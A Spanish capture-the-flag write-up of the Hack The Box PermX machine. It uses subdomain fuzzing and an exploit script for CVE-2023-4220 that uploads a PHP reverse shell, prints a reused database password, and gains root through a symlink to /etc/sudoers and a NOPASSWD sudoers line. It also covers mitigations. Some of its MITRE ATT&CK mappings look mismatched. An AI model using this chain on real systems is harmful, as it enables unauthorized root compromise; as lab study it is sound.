Maquina Permx

Hack The Box – PermX (Medium)
Autor: ZsZs
Fecha: Julio 14, 2025
Categoría: Linux – Web – Privilege Escalation
URL de la máquina: https://app.hackthebox.com/machines/PermX

Resumen

La máquina **PermX** de Hack The Box presenta un escenario realista que combina técnicas de enumeración de subdominios, explotación de una vulnerabilidad crítica (RCE no autenticado) en una plataforma educativa, extracción de credenciales, y escalada de privilegios a través del abuso de permisos ACL en un script `sudo`.

Durante la resolución, se identificó un subdominio vulnerable con **Chamilo LMS**, el cual permitía la ejecución de comandos remotos mediante el exploit público de **CVE-2023-4220**. Posteriormente, se accedió a configuraciones internas que revelaron credenciales válidas, y se aprovechó un script mal validado para escalar privilegios a `root` manipulando el archivo `/etc/sudoers` mediante enlaces simbólicos.

Técnicas destacadas:

- Enumeración de subdominios
- Explotación de RCE (CVE-2023-4220)
- Extracción de credenciales en archivos de configuración
- Abuso de script con permisos `sudo` y validación débil
- Symlink y manipulación de permisos ACL

Reconocimiento

Para comenzar, realicé un escaneo completo de puertos con Nmap para identificar servicios abiertos y versiones:

```
nmap -A -sV -sC permx.htb -oA nmap/PermX
```

Resultados relevantes:

Puerto	Servicio	Versión
22/tcp	SSH	OpenSSH 8.9p1 Ubuntu
80/tcp	HTTP	Apache httpd 2.4.52 (Ubuntu)

Al acceder a `http://permx.htb`, encontré un sitio web estático sin información relevante.

Posteriormente, realicé una enumeración de subdominios con wfuzz para descubrir otros hosts virtuales en el dominio:

```
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
--hc 302,404 -H "Host: FUZZ.permx.htb" permx.htb
```

Esto reveló el subdominio `lms.permx.htb`.

Agregué este subdominio al archivo `/etc/hosts` para poder acceder a él localmente.

Enumeración Web

Al acceder a `http://lms.permx.htb`, encontré una plataforma Chamilo LMS versión 1.11.24.

Investigué las vulnerabilidades conocidas para esta versión y encontré el **CVE-2023-4220**, que permite ejecución remota de código (RCE) sin autenticación mediante la carga de archivos maliciosos.

Para confirmar la vulnerabilidad, utilicé un exploit público disponible en GitHub, que permite subir un archivo PHP con una reverse shell.

Ejecuté el siguiente comando para subir la shell y escuchar la conexión:

```
bash CVE-2023-4220.sh -f rev.php -h http://lms.permx.htb/ -p 443
```

La shell se estableció exitosamente y obtuve acceso como el usuario `www-data` en el servidor:

```
www-data@permx:/$
```

Post-Explotación

Una vez con acceso como `www-data`, exploré el sistema en busca de información sensible. Encontré el archivo de configuración de Chamilo en:

```
/var/www/chamilo/app/config/configuration.php
```

Dentro de este archivo se encontraban las credenciales de conexión a la base de datos:

```
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
```

Al revisar otros usuarios y configuraciones del sistema, descubrí que el usuario `mtz` reutilizaba la misma contraseña, lo que permitió iniciar sesión como dicho usuario.

Para confirmar los privilegios de `mtz`, ejecuté:

```
sudo -l
```

Y obtuve que podía ejecutar sin contraseña el script `/opt/acl.sh` con privilegios `sudo`.

Explicación detallada de la escalada de privilegios en PermX

Contexto

El usuario `mtz` tiene permiso para ejecutar sin contraseña un script llamado `/opt/acl.sh` con privilegios `sudo`. Este script permite modificar los permisos ACL (Access Control List) de archivos, pero solo en archivos dentro del directorio `/home/mtz`.

El script revisa que:

- Reciba 3 argumentos: usuario, permiso y archivo objetivo.
- El archivo objetivo esté dentro de `/home/mtz` (rechaza rutas que no estén ahí o contengan `..` para evitar escapes).
- El archivo objetivo sea un archivo regular.

Luego ejecuta:

```
sudo setfacl -m u:"$user":"$perm" "$target"
```

Que modifica el ACL para dar permisos específicos al usuario indicado.

¿Por qué es vulnerable?

Aunque parece restringido a `/home/mtz`, no valida que el archivo objetivo no sea un **enlace simbólico** (symlink).

Esto significa que si `mtz` crea un symlink dentro de `/home/mtz` que apunte, por ejemplo, a `/etc/sudoers`, puede usar el script para modificar los permisos ACL del archivo `/etc/sudoers`, que controla quién tiene acceso `sudo` en el sistema.

Paso a paso de la explotación

1. **Crear un symlink hacia `/etc/sudoers`:**

```
ln -s /etc/sudoers /home/mtz/tada
```

Ejecutar el script para dar permisos de lectura/escritura al usuario `mtz` sobre el symlink (que apunta a `/etc/sudoers`):

```
sudo /opt/acl.sh mtz rw /home/mtz/tada
```

Esto en realidad cambia los permisos ACL del archivo `/etc/sudoers`.

3. **Editar `/etc/sudoers` para agregar al usuario `mtz` con permisos completos sin contraseña:**

```
mtz ALL=(ALL:ALL) NOPASSWD: ALL
```

Ahora `mtz` puede ejecutar cualquier comando como root sin contraseña:

```
sudo su
```

Y obtener acceso root.

Resumen

La técnica se basa en:

- **Bypass de validaciones insuficientes** del script, que solo verifica la ruta pero no si es un symlink.
- **Manipulación del sistema de archivos (symlink)** para redirigir la modificación de permisos hacia un archivo sensible (`/etc/sudoers`).
- **Modificación de permisos ACL** para hacerse sudoer sin restricciones.

Este método es un ejemplo clásico de cómo un script mal diseñado con privilegios elevados puede llevar a una escalada total del sistema.

Cómo verificar si la validación del script es segura

1. Validar que el archivo **no sea un symlink**

- El script debe verificar que el archivo objetivo **no sea un enlace simbólico**.
- Esto se puede hacer en bash con:

```
if [ -L "$target" ]; then   echo "Error: no se permiten enlaces simbólicos."
exit 1 fi
```

Si el script incluye una condición así, está previniendo el abuso con symlinks.

---

2. Validar que el archivo esté realmente dentro del directorio permitido (no solo en la ruta textual)

- Un atacante puede usar rutas como `/home/mtz/../etc/sudoers` para escapar.
- Por eso es mejor usar comandos que **resuelven la ruta absoluta y real** (resolviendo symlinks y referencias `..`), por ejemplo:

```
realpath_target=$(realpath "$target") allowed_dir="/home/mtz"  if [[
"$realpath_target" != $allowed_dir* ]]; then   echo "Error: archivo fuera del
directorio permitido."   exit 1 fi
```

- Esto asegura que el archivo realmente esté dentro del directorio permitido.

---

3. Validar que el archivo sea realmente un archivo regular

- Evitar que el objetivo sea directorio o dispositivo especial.

```
if [ ! -f "$target" ]; then   echo "Error: el objetivo no es un archivo
regular."   exit 1 fi
```

---

4. Otras buenas prácticas

- **No usar permisos `sudo` sin restricciones**, limitar qué comandos o scripts puede ejecutar el usuario.
- Registrar las acciones para auditoría.
- Usar listas blancas de archivos permitidos cuando sea posible.

¿Cómo identificamos que el script `/opt/acl.sh` manipula ACLs?

Buscar comandos relacionados con permisos:

1. En el script de PermX, se ve que usa:

```
/usr/bin/setfacl -m u:"$user":"$perm" "$target"
```

El comando `setfacl` es la pista principal: se usa para modificar las ACL (listas de control de acceso) de un archivo.

- **Analizar las validaciones:**
  El script valida que el archivo esté en `/home/mtz` y que sea un archivo regular, pero no comprueba si es un symlink.
- **Interpretar la función:**
  El script está diseñado para otorgar permisos específicos a usuarios sobre archivos específicos sin dar acceso total, usando ACL.

¿Cómo ocurre esto en la vida real?

Este tipo de vulnerabilidades surgen cuando:

- **Se crean scripts o herramientas internas para administrar permisos** (como ACLs) de manera automatizada.
- Estos scripts se ejecutan con permisos elevados (`sudo` o como root) para facilitar tareas administrativas.
- Sin embargo, **no se validan correctamente los parámetros** o rutas que reciben, por ejemplo, no verifican si el archivo es un enlace simbólico o no controlan bien las rutas.
- Esto puede permitir que un usuario malintencionado **manipule archivos críticos del sistema** (como `/etc/sudoers`) indirectamente, escalando privilegios.

Ejemplo realístico

- Imagina una empresa que tiene un script para que usuarios puedan compartir archivos con permisos específicos dentro de su carpeta personal, usando ACLs.
- El script se ejecuta con `sudo` para modificar permisos sin pedir contraseña.
- Pero si el script no verifica que el archivo sea legítimo y no un symlink, un usuario podría crear un enlace a archivos sensibles y alterar sus permisos, comprometiendo la seguridad del sistema.

Symlink Attack (Ataque de enlaces simbólicos)

Un **symlink** es un archivo que apunta a otro. El ataque ocurre cuando un programa con privilegios accede a un symlink sin verificar su destino, permitiendo al atacante redirigir operaciones hacia archivos sensibles.

Ejemplos de ataque:

- **TOCTOU (Time-of-Check to Time-of-Use)**: El atacante crea un symlink entre la verificación y el uso del archivo por parte de una aplicación privilegiada.
- **Escalada de privilegios**: Se crea un symlink hacia `/etc/shadow` o `/etc/sudoers`, y una aplicación con permisos escribe allí sin saberlo.
- **Manipulación de logs o configuraciones**: Se apunta a archivos de configuración o logs para alterar su contenido sin tener acceso directo.

🛡️ Mitigaciones:

- Verificar si el archivo es un symlink antes de abrirlo.
- Usar nombres aleatorios y permisos restrictivos para archivos temporales.
- Deshabilitar symlinks en directorios sensibles.
- Auditar actividad relacionada con symlinks

Conclusión

La máquina **PermX** representa un caso realista y completo de compromiso de un sistema Linux mediante una cadena de vulnerabilidades comunes pero críticas.

Se comenzó con una enumeración tradicional que reveló un subdominio escondido y un servicio web vulnerable (Chamilo LMS) con una falla de ejecución remota de código no autenticada (CVE-2023-4220). Esta vulnerabilidad permitió un acceso inicial limitado como `www-data`.

A partir de ahí, se aplicaron buenas prácticas de post-explotación: búsqueda de configuraciones sensibles y reutilización de credenciales, lo que facilitó el acceso a un usuario

con mayores permisos.

Finalmente, la escalada a root se logró aprovechando una mala configuración de un script `sudo` encargado de modificar permisos ACL, que no validaba correctamente la naturaleza del archivo objetivo, permitiendo el abuso de enlaces simbólicos para modificar el archivo `/etc/sudoers` y otorgar acceso completo a `mtz`.

Esta máquina es un excelente ejemplo de cómo pequeñas negligencias en la administración de sistemas y la implementación de scripts con privilegios elevados pueden desencadenar fallos graves de seguridad.

MITRE ATT&CK

Táctica (Estrategia)	Técnica	ID	Descripción y Aplicación en PermX
Reconnaissance	*Active Scanning: TCP Port Scanning*	T1595.001	Escaneo de puertos usando `nmap -A -sV -sC` para identificar servicios en ejecución (HTTP, SSH).
	Active Scanning: DNS Enumeration	T1596.002	Enumeración de subdominios con `wfuzz` para descubrir `lms.permx.htb`.
Initial Access	*Exploit Public-Facing Application*	T1190	Explotación de Chamilo LMS mediante **CVE-2023-4220** para lograr ejecución remota de comandos.
Execution	*Command and Scripting Interpreter: Bash*	T1059.004	Se ejecutó una reverse shell en el servidor usando PHP y Bash para obtener acceso interactivo.
Persistence	*Valid Accounts*	T1078	Acceso al usuario `mtz` usando credenciales reales encontradas en el archivo de configuración.
Privilege Escalation	*Abuse Elevation Control Mechanism: Sudo*	T1548.003	Uso de un script `sudo` sin contraseña para modificar permisos ACL de archivos del sistema.
	Exploitation for Privilege Escalation	T1068	Escalada a root mediante la modificación indirecta de `/etc/sudoers` con enlaces simbólicos.

Táctica (Estrategia)	Técnica	ID	Descripción y Aplicación en PermX
Defense Evasion	*Indicator Removal on Host: File Permission Modification*	T1070.006	Modificación de permisos del archivo `/etc/sudoers` para ocultar rastros y ganar acceso persistente.
	Impair Defenses: Disable or Modify Tools	T1562.001	(Implícito) El cambio de permisos ACL puede alterar la forma en que el sistema gestiona accesos.
Credential Access	*Credentials in Configuration Files*	T1552.001	Extracción de usuario y contraseña desde `configuration.php` de Chamilo.
Discovery	*System Owner/User Discovery*	T1033	Enumeración de usuarios válidos en el sistema (`mtz`) mediante inspección de archivos y entorno.
	File and Directory Discovery	T1083	Búsqueda de archivos en `/var/www` y `/home` para encontrar configuraciones sensibles.
Collection	*Data from Configuration Files*	T1602.002	Lectura de archivos de configuración con credenciales y parámetros del sistema.
Command and Control	*Ingress Tool Transfer*	T1105	Transferencia del archivo `rev.php` al servidor vulnerable como parte de la explotación.
	Application Layer Protocol: Web Protocols	T1071.001	Comunicación entre atacante y servidor usando HTTP y reverse shell sobre TCP/443.
Impact	*Account Access Removal*	T1531	(Potencial) El control sobre `/etc/sudoers` permitiría revocar accesos de otros usuarios.